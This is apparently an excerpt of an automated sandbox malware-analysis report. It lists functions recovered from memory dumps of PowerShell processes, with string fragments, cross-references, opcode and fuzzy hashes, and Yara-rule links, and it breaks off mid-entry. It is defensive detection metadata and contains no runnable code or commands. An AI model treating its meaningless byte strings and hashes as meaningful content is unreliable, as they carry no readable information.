String ID: 4'^q$J4l$J4l$r3l
API String ID: 0-3872290779
Opcode ID: 55b7a49b5065e04231b705eba02ca2d07be717d942c6d949616253dfc8a86e99
Instruction ID: de2d713c767182e640e435e37d76c78bb2b141f28b02fad843f28f04c22b794f
Opcode Fuzzy Hash: 55b7a49b5065e04231b705eba02ca2d07be717d942c6d949616253dfc8a86e99
Instruction Fuzzy Hash: 9331D0F2A00217CFDB2DCE99C441B6A77E5BB85720F04816ADC249B2D0DB35D980CBA2

Function 07153630 Relevance: 5.1, Strings: 4, Instructions: 66COMMON

Download Yara Rule

Strings

(_^q, xrefs: 0715365B
(_^q, xrefs: 07153665
(_^q, xrefs: 07153679
(_^q, xrefs: 0715363E

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 32e90b88ab024a5868930d6c01ff9bcc54f2b8601a2b68f6cda5d95c1300496b
Instruction ID: c0b15e729566b221eec9b805bfeda32812fd71fd31a50488c59bb176c47c3cd3
Opcode Fuzzy Hash: 32e90b88ab024a5868930d6c01ff9bcc54f2b8601a2b68f6cda5d95c1300496b
Instruction Fuzzy Hash: 761134FAB00211CBC71C9A6E9000466F7EA9FC5668329C43EC935CB390DB32D902CB90

Function 071526D7 Relevance: 5.1, Strings: 4, Instructions: 60COMMON

Download Yara Rule

Strings

J4l, xrefs: 0715272F
4'^q, xrefs: 0715278B
J4l, xrefs: 07152769
<c&k, xrefs: 0715275B

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$<c&k$J4l$J4l
API String ID: 0-2476768172
Opcode ID: 6a346713ef63bc0024dc0a09f8e3ab80832c6449c921af287e5e0625b9e8ee35
Instruction ID: 7aef6f82509710313a78cffc9df500f28d342dfe153e7d0c37eb5a2ca6d2f7af
Opcode Fuzzy Hash: 6a346713ef63bc0024dc0a09f8e3ab80832c6449c921af287e5e0625b9e8ee35
Instruction Fuzzy Hash: 2011B2FBE00206CFCB2DCE548842766BBE5BBA1210F25802ADD249B285D3358544CBA1

Function 07153615 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

(_^q, xrefs: 0715365B
(_^q, xrefs: 07153665
(_^q, xrefs: 07153679
(_^q, xrefs: 0715363E

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 44a96692177fd3b4bb0aa6a0a386cb9d7d6c031da6db98fb0dffceaacd0b871e
Instruction ID: 67c6ed1bc3c2c90733c1881329bd283e93b8da3ecadb07d2437d10ddd48d46d3
Opcode Fuzzy Hash: 44a96692177fd3b4bb0aa6a0a386cb9d7d6c031da6db98fb0dffceaacd0b871e
Instruction Fuzzy Hash: 510149FAA08341CBC71A4E5A8804151BFB69FC679872E41AFD8708F392C635D905CB91

Function 07152329 Relevance: 5.0, Strings: 4, Instructions: 32COMMON

Download Yara Rule

Strings

$^q, xrefs: 07152366
J4l, xrefs: 07152356
$^q, xrefs: 07152372
J4l, xrefs: 0715234A

Memory Dump Source

Source File: 0000000D.00000002.1918410852.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7150000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$J4l$J4l
API String ID: 0-556445654
Opcode ID: 3c2cb7a19f425dc7d14c2d28b5439d62823af616c2c016ffc12d18fe21fcb699
Instruction ID: e514b0c3ef6e7c3ebcdfdec57e0a9818edf679b2ac3354c046a4f1d5460ce2f3
Opcode Fuzzy Hash: 3c2cb7a19f425dc7d14c2d28b5439d62823af616c2c016ffc12d18fe21fcb699
Instruction Fuzzy Hash: C4F027F7F40206CBC77D490C440151793CA7BD8A10B298537C921AF39CCB31CC498392

Analysis Process: powershell.exePID: 7228, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B403065 Relevance: 3.5, Strings: 2, Instructions: 962COMMON

Download Yara Rule

Strings

X7hB, xrefs: 00007FFD9B403739
P7hB, xrefs: 00007FFD9B403547

Memory Dump Source

Source File: 00000011.00000002.3129587831.00007FFD9B400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b400000_powershell.jbxd

Similarity

API ID:
String ID: P7hB$X7hB
API String ID: 0-3484433110
Opcode ID: 8c763e9770fac57c697df0d9ec0dfb31ad061a0556baa39c65953ce6bd0f018d
Instruction ID: 032775ab7fa3af1d1906a1b5d305aad9896bb93142a2c7af30c86e8122dab135
Opcode Fuzzy Hash: 8c763e9770fac57c697df0d9ec0dfb31ad061a0556baa39c65953ce6bd0f018d
Instruction Fuzzy Hash: AE523722B0EA8D0FE7A6976888655B57FE1EF4A314B0A01FFD48DC71A3DD18AD05C742

Function 00007FFD9B3395E0 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3122708001.00007FFD9B330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b8fe1cdd1ac57c393ccf7354172d6eb4214218375b80984f00edc0694c1080a
Instruction ID: 483d52d382d4b4ce0a751a4dcdccad290300e2f8adef053d944aeae1176161de
Opcode Fuzzy Hash: 3b8fe1cdd1ac57c393ccf7354172d6eb4214218375b80984f00edc0694c1080a
Instruction Fuzzy Hash: 0711797180E7C98FD757AB744C790957FB0AE23220B0A02DBD489CB0F3DA295948C7A2

Function 00007FFD9B3391D8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3122708001.00007FFD9B330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4ae86957ef24328bc0c86f0ac05094afb3336b25d382033e422a871d8da812d
Instruction ID: 843282015f769ea94f708d5b28c12166946d753bd5e35eaf75e4809e1d6e7af3
Opcode Fuzzy Hash: d4ae86957ef24328bc0c86f0ac05094afb3336b25d382033e422a871d8da812d
Instruction Fuzzy Hash: 06F0E23191AA8CCFDB55EF2888290A57FE0FF25310F4202ABE44DC7171DA259948CB82

Function 00007FFD9B338E65 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3122708001.00007FFD9B330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4990cb0662055e85aec4f8be673564c04f8ac02f3853a6af4b3bdbd70c9fc7b8
Instruction ID: 52a7cfedadfb9c1d2fe385563ae7d8581c5d38266fe250f762ae70888109c764
Opcode Fuzzy Hash: 4990cb0662055e85aec4f8be673564c04f8ac02f3853a6af4b3bdbd70c9fc7b8
Instruction Fuzzy Hash: 1F513E7290EBC81FE715EB6C6C266F57FE0EF56310F0841AFD098831A3D9646945C782

Function 00007FFD9B21ED40 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3109611494.00007FFD9B21D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B21D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b21d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c185ad705d79900951d87de22bbedcce244b5d97060d088cf764cf33d8dce755
Instruction ID: 15a494eb787014bcc7dfcb5996336ef4f19bb76b5689da0a46ddcb455d3da453
Opcode Fuzzy Hash: c185ad705d79900951d87de22bbedcce244b5d97060d088cf764cf33d8dce755
Instruction Fuzzy Hash: 6241067140EBC44FE7669B389C519523FF4EF57220B1A06DFD088CF1A3D629A846C792

Function 00007FFD9B4030B1 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3129587831.00007FFD9B400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc0e3d850e3e50077cf36f5a156b057bd60b2914a04047a99422e32f05a6a797
Instruction ID: 5e3994f7c9c69035c923f008cff018c60220296464aea4c67fb032640e4f6413
Opcode Fuzzy Hash: dc0e3d850e3e50077cf36f5a156b057bd60b2914a04047a99422e32f05a6a797
Instruction Fuzzy Hash: 88312522F1F94D4BE3B4965894711743AC2EF4C314B4A01FAD48CDB1E7DD19AD01AA81

Function 00007FFD9B339948 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3122708001.00007FFD9B330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53dc2bc5b9b762846daae7208f47831421373e83f788a68ec70b982cd02c6139
Instruction ID: 9667b2933d19daecec5aee5027e1bc0ec74a28e59e5cc2bf2270eb5d01fed3ff
Opcode Fuzzy Hash: 53dc2bc5b9b762846daae7208f47831421373e83f788a68ec70b982cd02c6139
Instruction Fuzzy Hash: FA21F83090D74C8FEB58DB9C984A7EA7BE0EB56331F04426FD449C3152CA74A455CB91

Function 00007FFD9B4033DC Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3129587831.00007FFD9B400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f14c4df8f24f87520c9a60f04146282f3e47a4bbebf5b2fd2f497aa4aa15574
Instruction ID: a67fb64d760e256442f8c2ad7362d4191dd771ec237c24f2ce7754de93f0fb00
Opcode Fuzzy Hash: 7f14c4df8f24f87520c9a60f04146282f3e47a4bbebf5b2fd2f497aa4aa15574
Instruction Fuzzy Hash: 4D110632F0E5694FE7B6DB58C4A05B47FD0EF48324B4A00FAD49DEB0A3D919AD009B41

Function 00007FFD9B333605 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3122708001.00007FFD9B330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b330000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8619d5d3d75962e74ff1ffb8351a320bac4c28d42fb0be8bb6902258ee90ee6c
Instruction ID: 2c89f98afa71d0c94bad7c8f24b5d1b8f6a88cf1b9bba89d395a9394e47b4267
Opcode Fuzzy Hash: 8619d5d3d75962e74ff1ffb8351a320bac4c28d42fb0be8bb6902258ee90ee6c
Instruction Fuzzy Hash: 0E01A77021CB0C4FDB48EF0CE051AA6B7E0FB85320F10056DE58AC36A1D636E881CB41

Function 00007FFD9B4045A4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3129587831.00007FFD9B400000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84624716a4e3a38b506090bf5a141204a1109a10f7dc8a98d6a2c7568f47a720
Instruction ID: 2c9611c126111db3738473ce14f3344af24be8238349078dde64645d98ebfb52
Opcode Fuzzy Hash: 84624716a4e3a38b506090bf5a141204a1109a10f7dc8a98d6a2c7568f47a720
Instruction Fuzzy Hash: 61F0A03131CF044FE748EF2DE4497A2B3E0FBA8310F10466FE48AC3251DA21E8818782

Non-executed Functions

Function 00007FFD9B3386FA Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FFD9B3386FA
N_^, xrefs: 00007FFD9B33872A
N_^, xrefs: 00007FFD9B3387C2
N_^, xrefs: 00007FFD9B33876A

Memory Dump Source

Source File: 00000011.00000002.3122708001.00007FFD9B330000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b330000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^
API String ID: 0-3900292545
Opcode ID: a2bad03970f78383f7dc71c755b0843bc1bf0229f31671a3c2939de1194f1817
Instruction ID: c52750f5dfbe9891b65c910c79fa8b4e99ec494d85b86f54279ecb3ee404d61d
Opcode Fuzzy Hash: a2bad03970f78383f7dc71c755b0843bc1bf0229f31671a3c2939de1194f1817
Instruction Fuzzy Hash: 21310A67E0F6D54FE7226BA95C714E53BA0FF12254B4A06F7C498CB0A3ED1825074352

Analysis Process: powershell.exePID: 6300, Parent PID: 7068COMMON

Executed Functions

Function 0344DD38 Relevance: 4.0, Strings: 3, Instructions: 252COMMON

Download Yara Rule

Strings

#5go^, xrefs: 0344DDC1
,go^, xrefs: 0344DE7B
35go^, xrefs: 0344DD74

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID: #5go^$35go^$,go^
API String ID: 0-2682039433
Opcode ID: c9ab8e9a60916cbe9ae37a5dbee94287ea1aa16254ac0b3a0bd3ee5a3bbc3efc
Instruction ID: e83a302ea0d95c901a522f23cac240a64bf1442d3dd758ecc4c6f427c38c28e3
Opcode Fuzzy Hash: c9ab8e9a60916cbe9ae37a5dbee94287ea1aa16254ac0b3a0bd3ee5a3bbc3efc
Instruction Fuzzy Hash: ED91A271F007295BDB2AEFB4C4106AEB7A2EF85704B00892DC14AAF344DF745D0A8BD6

Function 07A232B0 Relevance: 23.2, Strings: 18, Instructions: 681COMMON

Download Yara Rule

Strings

<c&k, xrefs: 07A23503
r3l, xrefs: 07A23689
J4l, xrefs: 07A2351D
)l, xrefs: 07A235BA
4'^q, xrefs: 07A2373D
J4l, xrefs: 07A2336D
)l, xrefs: 07A235AC
J4l, xrefs: 07A23726
4'^q, xrefs: 07A23533
J4l, xrefs: 07A23379
J4l, xrefs: 07A2371A
4'^q, xrefs: 07A2353F
4'^q, xrefs: 07A23749
J4l, xrefs: 07A23327
J4l, xrefs: 07A23511
J4l, xrefs: 07A234D7
r3l, xrefs: 07A2367F
J4l, xrefs: 07A236CE

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c&k$J4l$J4l$J4l$J4l$J4l$J4l$J4l$J4l$J4l$r3l$r3l$)l$)l
API String ID: 0-2108128534
Opcode ID: cf1ce5afe421541761d9f15ebf20d7c0dcb0f1d62c501658c0941860cb95ff22
Instruction ID: 1a37624df848c3a9718d2e3bae44c2d23976db1aa8fb25778af72490cc853350
Opcode Fuzzy Hash: cf1ce5afe421541761d9f15ebf20d7c0dcb0f1d62c501658c0941860cb95ff22
Instruction Fuzzy Hash: 48326AB1B002668FCF158F6D884066BBBF6AFC7211F14807AE525CB351DB39C946DBA1

Function 087A2F40 Relevance: 17.8, Strings: 14, Instructions: 282COMMON

Download Yara Rule

Strings

Xbq, xrefs: 087A30BB
Xbq, xrefs: 087A3078
Xbq, xrefs: 087A2FF4
Xbq, xrefs: 087A3182
$^q, xrefs: 087A32E4
Xbq, xrefs: 087A31C7
Xbq, xrefs: 087A3036
Xbq, xrefs: 087A3140
$^q, xrefs: 087A32F0
Xbq, xrefs: 087A320C
Xbq, xrefs: 087A2FB2
Xbq, xrefs: 087A3290
Xbq, xrefs: 087A30FE
Xbq, xrefs: 087A324E

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$$^q$$^q
API String ID: 0-2161063300
Opcode ID: 3b55b851c2fbdea40b1ff880962635419f5e9d892bcaf2944252c1a8cf2ed7f5
Instruction ID: 133cc219897c63153411be24204acffcdaf4714ab45609e4b41ee0e129c65a1a
Opcode Fuzzy Hash: 3b55b851c2fbdea40b1ff880962635419f5e9d892bcaf2944252c1a8cf2ed7f5
Instruction Fuzzy Hash: 48C13B74B002588FD768DF69C95476EF6F6BFC4302F1044BAC14AAB399DE719D818B21

Function 087A2F30 Relevance: 16.5, Strings: 13, Instructions: 280COMMON

Download Yara Rule

Strings

Xbq, xrefs: 087A30BB
Xbq, xrefs: 087A3078
Xbq, xrefs: 087A2FF4
Xbq, xrefs: 087A3182
$^q, xrefs: 087A32E4
Xbq, xrefs: 087A31C7
Xbq, xrefs: 087A3036
Xbq, xrefs: 087A3140
Xbq, xrefs: 087A320C
Xbq, xrefs: 087A2FB2
Xbq, xrefs: 087A3290
Xbq, xrefs: 087A30FE
Xbq, xrefs: 087A324E

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$$^q
API String ID: 0-2644358041
Opcode ID: 705ddee8ab39a569eab15d7eb83e449a5c1eaab6db483a5a4cd1f6646bd12907
Instruction ID: eac02ffba0df118f5474bc4b6230026a59466dcc3b2842c1dddea00b0b75556b
Opcode Fuzzy Hash: 705ddee8ab39a569eab15d7eb83e449a5c1eaab6db483a5a4cd1f6646bd12907
Instruction Fuzzy Hash: 45C14C74A04258CFDB64DF69C95476EF6F6BFC4302F1044BAC14AAB399DB309D818B25

Function 07A22430 Relevance: 14.4, Strings: 11, Instructions: 671COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07A22584
(o^q, xrefs: 07A2274F
(o^q, xrefs: 07A22743
4'^q, xrefs: 07A22590
tP^q, xrefs: 07A225E4
4'^q, xrefs: 07A22641
841l, xrefs: 07A2256B
4'^q, xrefs: 07A22651
841l, xrefs: 07A22575
0U^q, xrefs: 07A22BCD
tP^q, xrefs: 07A225D8

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$0U^q$4'^q$4'^q$4'^q$4'^q$841l$841l$tP^q$tP^q
API String ID: 0-1732350322
Opcode ID: 6279d5dbd0b5f0d56ac86af70534f08894d276a2992578c432c27786791954bd
Instruction ID: d9f37efc6bd6f314e7cdc0cd328a2414c5ca4d8ed733edfa6bcc09561976757a
Opcode Fuzzy Hash: 6279d5dbd0b5f0d56ac86af70534f08894d276a2992578c432c27786791954bd
Instruction Fuzzy Hash: 073238B1B002258FC7149F6CC84476ABBF2BFC9311F158469E9158B395DB35DC86CBA1

Function 087A2CC0 Relevance: 10.2, Strings: 8, Instructions: 186COMMON

Download Yara Rule

Strings

$^q, xrefs: 087A2E28
$^q, xrefs: 087A2E76
$^q, xrefs: 087A2DB7
$^q, xrefs: 087A2E42
$^q, xrefs: 087A2E0E
,bq, xrefs: 087A2D15
0oAp, xrefs: 087A2E4E
$^q, xrefs: 087A2E5C

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID: ,bq$0oAp$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-4154621813
Opcode ID: 319915696fb66e188df90e8d895f3fc222d1bfab5639cff25f8c59f3db5d047e
Instruction ID: 70344d6be8cb01b27c70f58f1711acfa338df268447e7100c2be5f0850f33ec1
Opcode Fuzzy Hash: 319915696fb66e188df90e8d895f3fc222d1bfab5639cff25f8c59f3db5d047e
Instruction Fuzzy Hash: 4851B5307981598FCB289B78855857D7AE2BFC8702710065ED456CB37ADF75CC8387A2

Function 0344E7B8 Relevance: 2.6, Strings: 2, Instructions: 84COMMON

Download Yara Rule

Strings

*go^, xrefs: 0344E874
</(l, xrefs: 0344E860

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID: </(l$*go^
API String ID: 0-827603681
Opcode ID: 42c2bff2c9231a937f9f38905ed3662f50378c5c7382d84ea99df7cb1d238dde
Instruction ID: 3ec1483808b274789802986a1da0346fa8b1bee12d9c6fe899fdfddaaaa18138
Opcode Fuzzy Hash: 42c2bff2c9231a937f9f38905ed3662f50378c5c7382d84ea99df7cb1d238dde
Instruction Fuzzy Hash: 6931DF34A003519FDB11CBA9C940AABBBE1FF89200F08847AE5598F365D770D989CB90

Function 0344E7C8 Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

*go^, xrefs: 0344E874
</(l, xrefs: 0344E860

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID: </(l$*go^
API String ID: 0-827603681
Opcode ID: 7901a007c06734f07d375fbc7ce411e26506b7d8859c4b9defb738d6f0725e51
Instruction ID: 1491431d069363b42def754908c5701b95181c01b96e7d650c78742ffd23be41
Opcode Fuzzy Hash: 7901a007c06734f07d375fbc7ce411e26506b7d8859c4b9defb738d6f0725e51
Instruction Fuzzy Hash: 8221BF34B002059FDB14CB69C940AABFBE6FF88300F04847AE5598B365D771E989CB90

Function 07A24598 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

L3l, xrefs: 07A245AA

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: L3l
API String ID: 0-3803200913
Opcode ID: edcfbaec0125fb2e70a44d64ce25fdc4808d05064f52ba760ee26ed995bd9e76
Instruction ID: 5d00ab54e2226f638917015363575cb99f7119034ac27e2bdb146049c3bf1d70
Opcode Fuzzy Hash: edcfbaec0125fb2e70a44d64ce25fdc4808d05064f52ba760ee26ed995bd9e76
Instruction Fuzzy Hash: 97515AB63042E59FD7158B6C9850A3ABBE6DFCA210B14847BE924CB251CA36DC03DB61

Function 087A7688 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

(bq, xrefs: 087A77A7

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: a795744d4229a837c7d40f3551b2957340ad496dd7be2fa0f0df65f19babf361
Instruction ID: 9a3139d56a02d6794b63ed822babd80f6bea6374c831f239533c3b852f626d60
Opcode Fuzzy Hash: a795744d4229a837c7d40f3551b2957340ad496dd7be2fa0f0df65f19babf361
Instruction Fuzzy Hash: 94417D35B012448FDB18DB68C494AAE7BF1EFC9652F1841A9E446AB368DA35DC01CB60

Function 0344E8B0 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

(bq, xrefs: 0344E962

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 1f03450c5b06d0c797db0714dab2e68edba34cd1aa85c6e1b03464db94e49454
Instruction ID: 5866ba83f5c8c7cba1454e165cbc6132faface3c0094f30a38c772c6732b4549
Opcode Fuzzy Hash: 1f03450c5b06d0c797db0714dab2e68edba34cd1aa85c6e1b03464db94e49454
Instruction Fuzzy Hash: 7F3121323042008FD304EB3AE85082FB79AEFC4221714853EC14ACB395DF71E84587A4

Function 0344D840 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

(&^q, xrefs: 0344D862

Memory Dump Source

Source File: 00000013.00000002.1975066501.0000000003440000.00000040.00000800.00020000.00000000.sdmp, Offset: 03440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_3440000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: b4d57954f42ddff800f5a3d70ebbb880eb5ae75f0c885c1762d0502fc1c0e858
Instruction ID: e556381e7ec666e2aad203806d2bad436b7f08ed8c1f09435956d3d76a69aedd
Opcode Fuzzy Hash: b4d57954f42ddff800f5a3d70ebbb880eb5ae75f0c885c1762d0502fc1c0e858
Instruction Fuzzy Hash: 5A217C75E042588FDB14DFAED40469EBBF5EB89320F24886ED018EB350CA7599448FA9

Function 07A2457D Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

L3l, xrefs: 07A245AA

Memory Dump Source

Source File: 00000013.00000002.2008981879.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: L3l
API String ID: 0-3803200913
Opcode ID: 5d7a90b3192d550c73af8fa2d2c69c880a60c9f1618ee6f5fdf49c2220996e72
Instruction ID: 94dfe587c43dc461897db231749f48cb7e47691b124f931dd7c44f45b172a4ca
Opcode Fuzzy Hash: 5d7a90b3192d550c73af8fa2d2c69c880a60c9f1618ee6f5fdf49c2220996e72
Instruction Fuzzy Hash: 6E21D5F57042A19FD7158F58C840F66BBB6FF89310F4584AAE8148B262C776DC02CB61

Function 087AD558 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 487a1cdb4256e9a3dcd953396042e46bb8c8cc538445b9ed6bc7dd724ea86dda
Instruction ID: 2b049a91ac238bc8d40d0d4992a5ed7f81948dd4a1aac5f2759bb42201ec2efe
Opcode Fuzzy Hash: 487a1cdb4256e9a3dcd953396042e46bb8c8cc538445b9ed6bc7dd724ea86dda
Instruction Fuzzy Hash: 68B19470A093858FC716CF2CC89499ABFB0FF4A310B1941EAD485DB6A7C635EC45CBA5

Function 087ADB58 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2012066332.00000000087A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 087A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_87a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f150870557106b0ca7ecfb1f5d7f839245f273a3676a7471366939397ac28c32
Instruction ID: 4cef6f90eb7069cefb331f361d7e36133f084b96c9b7c358ce4e73343a2ae11e
Opcode Fuzzy Hash: f150870557106b0ca7ecfb1f5d7f839245f273a3676a7471366939397ac28c32
Instruction Fuzzy Hash: 95B11634A01208EFDB15DFA8D584A9DFFB2BF88315F248159E804AB765C771ED86CB90

Function 03442B60 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

